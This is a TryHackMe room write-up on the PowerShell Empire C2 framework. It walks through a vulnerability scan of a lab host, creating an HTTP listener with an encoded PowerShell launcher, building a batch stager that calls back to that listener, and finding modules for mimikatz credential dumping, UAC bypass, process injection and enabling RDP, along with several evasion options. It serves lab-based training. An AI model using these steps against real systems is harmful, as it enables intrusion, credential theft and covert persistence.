https://tryhackme.com/room/rppsempire

RP : PS EMPIRE

=================

Part of the red primer series, learn how to use this powerful post-exploitation framework.

**TASK 1:**

========

1. Deploy this machine and learn what exploitation this box is susceptible to!

→ nmap --script vuln 10.10.214.230

tarting Nmap 7.80 ( https://nmap.org ) at 2020-05-26 15:14 +0545

Nmap scan report for 10.10.214.230

Host is up (0.19s latency).

Not shown: 991 closed ports

PORT STATE SERVICE

135/tcp open msrpc

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

139/tcp open netbios-ssn

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

445/tcp open microsoft-ds

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

3389/tcp open ms-wbt-server

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

| rdp-vuln-ms12-020:

| VULNERABLE:

| MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability

| State: VULNERABLE

| IDs: CVE:CVE-2012-0152

| Risk factor: Medium CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)

| Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.

|

| Disclosure date: 2012-03-13

| References:

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152

| http://technet.microsoft.com/en-us/security/bulletin/ms12-020

|

| MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability

| State: VULNERABLE

| IDs: CVE:CVE-2012-0002

| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)

| Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.

|

| Disclosure date: 2012-03-13

| References:

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002

|\_ http://technet.microsoft.com/en-us/security/bulletin/ms12-020

|\_ssl-ccs-injection: No reply from server (TIMEOUT)

|\_sslv2-drown:

49152/tcp open unknown

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

49153/tcp open unknown

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

49154/tcp open unknown

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

49158/tcp open unknown

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

49160/tcp open unknown

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

Host script results:

|\_samba-vuln-cve-2012-1182: NT\_STATUS\_ACCESS\_DENIED

|\_smb-vuln-ms10-054: false

|\_smb-vuln-ms10-061: NT\_STATUS\_ACCESS\_DENIED

| smb-vuln-ms17-010:

| VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

| State: VULNERABLE

| IDs: CVE:CVE-2017-0143

| Risk factor: HIGH

| A critical remote code execution vulnerability exists in Microsoft SMBv1

| servers (ms17-010).

|

| Disclosure date: 2017-03-14

| References:

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

|\_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 88.32 seconds

**Task 2: INSTALL**

**=========**

Powershell Empire:

PowerShell Empire is a powerful post-exploitation framework which allows us to perform various functions such as privesc, password gathering, situational awareness, and many more!

Link to the official website: https://www.bc-security.org/post/the-empire-3-0-strikes-back

--------------------------------

Clone the following GitHub page and run the initial setup script.

https://github.com/BC-SECURITY/Empire/

step1: cd /Opt

step2: sudo git clone htttps://github.com/BC-SECURITY/Empire

step3: cd /Empire

step4: ./setup/install.sh

When prompted, enter in a server negotiation password. This can be left blank for random generation, however, you should record this somewhere such as a LastPass vault.

Launch Empire with either ./empire or /opt*/Empire/empire*

**Note**: install every dependency either with sudo or without sudo

**TASK:3 LISTENERS**

**====================**

If you're going to play ball, first you have to learn how to catch. Similar to 'catching' a reverse shell with Netcat, we first have to set up a listener in order to properly handle any sort of agent we would install on our victim machine. Answer the following questions using the listeners help menu and then spawn a basic listener.

**#1 Once empire has launched, type help to view the various menus. Which menu to we launch to access listeners?**

================================================================================

[Empire] Post-Exploitation Framework

================================================================================

[Version] 3.2.2 BC-Security Fork | [Web] https://github.com/BC-SECURITY/Empire

================================================================================

[Starkiller] Multi-User GUI | [Web] https://github.com/BC-SECURITY/Starkiller

================================================================================

\_\_\_\_\_\_\_ .\_\_\_ \_\_\_. .\_\_\_\_\_\_ \_\_ .\_\_\_\_\_\_ \_\_\_\_\_\_\_

| \_\_\_\_|| \/ | | \_ \ | | | \_ \ | \_\_\_\_|

| |\_\_ | \ / | | |\_) | | | | |\_) | | |\_\_

| \_\_| | |\/| | | \_\_\_/ | | | / | \_\_|

| |\_\_\_\_ | | | | | | | | | |\ \----.| |\_\_\_\_

|\_\_\_\_\_\_\_||\_\_| |\_\_| | \_| |\_\_| | \_| `.\_\_\_\_\_||\_\_\_\_\_\_\_|

300 modules currently loaded

0 listeners currently active

0 agents currently active

(Empire) > help

Commands

========

agents Jump to the Agents menu.

creds Add/display credentials to/from the database.

exit Exit Empire

help Displays the help menu.

interact Interact with a particular agent.

list Lists active agents or listeners.

listeners Interact with active listeners.

load Loads Empire modules from a non-standard folder.

plugin Load a plugin file to extend Empire.

plugins List all available and active plugins.

preobfuscate Preobfuscate PowerShell module\_source files

reload Reload one (or all) Empire modules.

report Produce report CSV and log files: sessions.csv, credentials.csv, master.log

reset Reset a global option (e.g. IP whitelists).

resource Read and execute a list of Empire commands from a file.

searchmodule Search Empire module names/descriptions.

set Set a global option (e.g. IP whitelists).

show Show a global option (e.g. IP whitelists).

uselistener Use an Empire listener module.

usemodule Use an Empire module.

usestager Use an Empire stager.

(Empire) >

Answer : Listeners

**#2**

**Launch the listeners menu. In a manner similar to cobalt strike/metasploit, this will launch a contextual submenu. For the sake of this tutorial, we will be using an http listener in order to catch our connections. Type the command 'uselistener http' now. You can double-tap tab to view all options for listeners following typing 'uselistener'**

=>

(Empire: listeners) > uselistener http

(Empire: listeners/http) >

**#3**

**What command can we now type to view all of the options related to our selected listener type?**

→

(Empire: listeners/http) > info

Name: HTTP[S]

Category: client\_server

Authors:

@harmj0y

Description:

Starts a http[s] listener (PowerShell or Python) that uses a

GET/POST approach.

HTTP[S] Options:

Name Required Value Description

---- -------- ------- -----------

Name True http Name for the listener.

Host True http://192.168.1.12 Hostname/IP for staging.

BindIP True 0.0.0.0 The IP to bind to on the control server.

Port True Port for the listener.

Launcher True powershell -noP -sta -w 1 -enc Launcher string.

StagingKey True upitqx^%(];=ad4Of2@-NMJrsgAKn\_?e Staging key for initial agent negotiation.

DefaultDelay True 5 Agent delay/reach back interval (in seconds).

DefaultJitter True 0.0 Jitter in agent reachback interval (0.0-1.0).

DefaultLostLimit True 60 Number of missed checkins before exiting

DefaultProfile True /admin/get.php,/news.php,/login/ Default communication profile for the agent.

process.php|Mozilla/5.0 (Windows

NT 6.1; WOW64; Trident/7.0;

rv:11.0) like Gecko

CertPath False Certificate path for https listeners.

KillDate False Date for the listener to exit (MM/dd/yyyy).

WorkingHours False Hours for the agent to operate (09:00-17:00).

Headers True Server:Microsoft-IIS/7.5 Headers for the control server.

Cookie False AvSydUiyoFBgBFU Custom Cookie Name

StagerURI False URI for the stager. Must use /download/. Example: /download/stager.php

UserAgent False default User-agent string to use for the staging request (default, none, or other).

Proxy False default Proxy to use for request (default, none, or other).

ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other).

SlackToken False Your SlackBot API token to communicate with your Slack instance.

SlackChannel False #general The Slack channel or DM that notifications will be sent to.

(Empire: listeners/http) >

**#4**

**Once the information regarding the listener pops up, peruse this for some of the more interesting options we can set in order to disguise our actions more. Which option can we use to set specific times when our listener will be active?**

**→** working hours

**#5**

**Similar to changing/spoofing what browser you are using on the internet, what option can we set to appear as a different user agent (i.e. chrome, firefox, etc)?**

**→** DefaultProfile

**#6**

**What option can we use to set the port which the listener will bind to?**

→ port

**#7 In addition to changing our browser profile, we can change what our server appears as. What option can we set to change this?**

→ serverversion

**#8**

**Launch our newly created listener on port 80 with the command 'execute'. What message is displayed following successfully launching the listener?**

**→** Listener successfully started!

**#9**

**We can verify that our listener is now active by typing what command?**

**→** listeners

**TASK 4: STAGERS:**

Stagers metaphorically and literally set the stage for post-exploitation by retrieving the remaining code and associated information necessary to spawn a full-fledged agent.

**#1 First, type the command 'usestager' and double-tap tab to view all options we have for stagers. Which option allows us to use a batch file?**

→ first, type back to go back to empire window   
 type   
 usestager and double tap tab   
  
Answer: windows/launcher\_bat

**#2 Let's finish our previous command and select the batch file option. Press enter to finalize this. What is our new path to the 'module' we have selected?**

→ stager/windows/launcher\_bat

**#3**

**Since we've previously set our listener to use http, we must now set the associated options within our stager we are building to match that. What option must we set in order to accomplish this?**

→ listeners

**#4**

**Type execute to finish creating our stager. Where is the stager saved?**

**→**

(Empire: stager/windows/launcher\_bat) > set Listener http

(Empire: stager/windows/launcher\_bat) > execute

[\*] Stager output written out to: /tmp/launcher.bat

**#5**

**Using any shell you have previously gained into our victim system transport the stager batch file to the system and execute it. This can be done in numerous ways depending on the stager used, be prepared to be flexible with your transportation methods similarly to how you might handle an msfvenom package.**

**[Task 5] Agents and Post-Exploitation**

**#1**

**First, type agents to view our registered agents.**

**→**

(Empire: stager/windows/launcher\_bat) > agents

[!] No agents currently registered

**#2**

**Once you've typed agents to list the registered agents, the agents submenu will become active. Use the help menu to answer the following questions.**

→ help

**#3 What command do we use to interact with an agent?**

**→** interact

**#4**

**What about if we wanted to list any usernames and passwords we have gathered?**

**→** creds

**#5**

**And if we wanted to 'deactivate' an agent for a while to avoid detection?**

**→** sleep

**#6 How about if we wanted to delete an agent or disconnect it?**

→ kill

**#7**

**Moving into the post exploitation modules, what command can we use to search through these?**

**→** searchmodule

**#8**

**We'll start with the most important module, find the module which plays a specific AC/DC song.**

→ python/trollsploit/osx/thunderstruck

output:

Empire: agents) > searchmodule Thunderstruck

python/trollsploit/osx/thunderstruck

Open Safari in the background and play Thunderstruck.

powershell/trollsploit/thunderstruck

Play's a hidden version of AC/DC's Thunderstruck video while maxing

out a computer's volume.

**#9**

**What if we wanted to perform an lsa dump with a certain popular windows credential gathering tool?**

**→**

(Empire: agents) > searchmodule lsadump

powershell/credentials/mimikatz/lsadump\*

Runs PowerSploit's Invoke-Mimikatz function to extract a particular

user hash from memory. Useful on domain controllers.

powershell/credentials/mimikatz/dcsync\_hashdump

Runs PowerSploit's Invoke-Mimikatz function to collect all domain

hashes using Mimikatz'slsadump::dcsync module. This doesn't need code

execution on a given DC, but needs to be run froma user context with

DA equivalent privileges.

powershell/credentials/mimikatz/dcsync

Runs PowerSploit's Invoke-Mimikatz function to extract a given account

password through Mimikatz's lsadump::dcsync module. This doesn't need

code execution on a given DC, but needs to be run from a user context

with DA equivalent privileges.

(Empire: agents) >

**#10**

**Sometime we might not have the permissions level that we require to perform further actions, what module set might we have to use to get around UAC?**

→

output:

(Empire: agents) > searchmodule UAC

powershell/privesc/bypassuac\_fodhelper

Bypasses UAC by performing an registry modification for FodHelper

(based onhttps://winscripting.blog/2017/05/12/first-entry-welcome-and-

uac-bypass/)

powershell/privesc/bypassuac

Runs a BypassUAC attack to escape from a medium integrity process to a

high integrity process. This attack was originally discovered by Leo

Davidson. Empire uses components of MSF's bypassuac injection

implementation as well as an adapted version of PowerSploit's Invoke--

Shellcode.ps1 script for backend lifting.

powershell/privesc/ask

Leverages Start-Process' -Verb runAs option inside a YES-Required loop

to prompt the user for a high integrity context before running the

agent code. UAC will report Powershell is requesting Administrator

privileges. Because this does not use the BypassUAC DLLs, it should

not trigger any AV alerts.

powershell/privesc/bypassuac\_env

Bypasses UAC (even with Always Notify level set) by by performing an

registry modification of the "windir" value in "Environment" based on

James Forshaw

findings(https://tyranidslair.blogspot.cz/2017/05/exploiting-

environment-variables-in.html)

powershell/privesc/bypassuac\_sdctlbypass

Bypasses UAC by performing an registry modification for sdclt (based

onhttps://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-

exe/)

powershell/privesc/bypassuac\_wscript

Drops wscript.exe and a custom manifest into C:\Windows\ and then

proceeds to execute VBScript using the wscript executablewith the new

manifest. The VBScript executed by C:\Windows\wscript.exe will run

elevated.

powershell/privesc/bypassuac\_tokenmanipulation

Bypass UAC module based on the script released by Matt Nelson

@enigma0x3 at Derbycon 2017

powershell/privesc/bypassuac\_eventvwr

Bypasses UAC by performing an image hijack on the .msc file extension

and starting eventvwr.exe. No files are dropped to disk, making this

opsec safe.

powershell/situational\_awareness/host/get\_uaclevel

Enumerates UAC level

(Empire: agents) >

**answer:**

bypassuac

**#11**

**What module family allows us to gather additional information about the network we are on?**

→

answer: recon

searchmodule recon

powershell/recon/get\_sql\_server\_login\_default\_pw

Based on the instance name, test if SQL Server is configured with

default passwords.

powershell/recon/http\_login

Tests credentials against Basic Authentication.

powershell/recon/fetch\_brute\_local

This module will logon to a member server using the agents account or

a provided account, fetch the local accounts and perform a network

based brute force attack.

powershell/recon/find\_fruit

Searches a network range for potentially vulnerable web services.

powershell/situational\_awareness/host/hostrecon

Invoke-HostRecon runs a number of checks on a system to help provide

situational awareness to a penetration tester during the

reconnaissance phase It gathers information about the local system,

users, and domain information.

(Empire: agents) >

**#12 Our process we have compromised might not be the most stable, how do we migrate to another process? (This will have a specific module answer)**

→ powershell/management/psinject

output:

(Empire: agents) > searchmodule psinject

powershell/management/psinject

Utilizes Powershell to to inject a Stephen Fewer formed ReflectivePick

which executes PS codefrom memory in a remote process. ProcID or

ProcName must be specified

**#13**

**Last but not least, what module can we use to turn on remote desktop access for our purposes?**

→ powershell/management/enable\_rdp\*

Enables RDP on the remote machine and adds a firewall exception.